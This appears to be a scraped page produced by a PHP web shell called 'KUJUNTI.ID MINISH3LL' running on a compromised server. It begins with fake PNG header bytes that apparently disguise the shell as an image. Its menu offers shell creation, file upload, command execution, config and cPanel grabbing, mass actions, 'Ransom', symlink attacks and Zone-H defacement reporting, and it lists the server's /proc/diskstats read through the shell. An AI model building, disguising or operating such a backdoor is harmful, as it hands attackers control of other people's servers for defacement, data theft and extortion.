\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /proc/self/root/proc/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : //proc/self/root/proc/diskstats


   7       0 loop0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       1 loop1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       2 loop2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       3 loop3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       4 loop4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       5 loop5 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       6 loop6 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       7 loop7 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
  11       0 sr0 4 0 1 1 0 0 0 0 0 8 1 0 0 0 0 0 0
   8       0 sda 17446315316 163553405 554193398809 531441197 135222146 107789563 2880864966 146810520 0 3351641924 683221562 1588274 54 770653425 383280 17294555 4586565
   8       1 sda1 17446299457 163441993 554192775749 531435297 135222143 107789563 2880864956 146810519 0 3351632488 678629059 1588166 0 757050960 383243 0 0
   8      14 sda14 2684 0 21276 784 0 0 0 0 0 1844 784 0 0 0 0 0 0
   8      15 sda15 5288 111412 234470 2158 3 0 10 1 0 4772 2197 108 54 13602465 37 0 0

© KUJUNTI.ID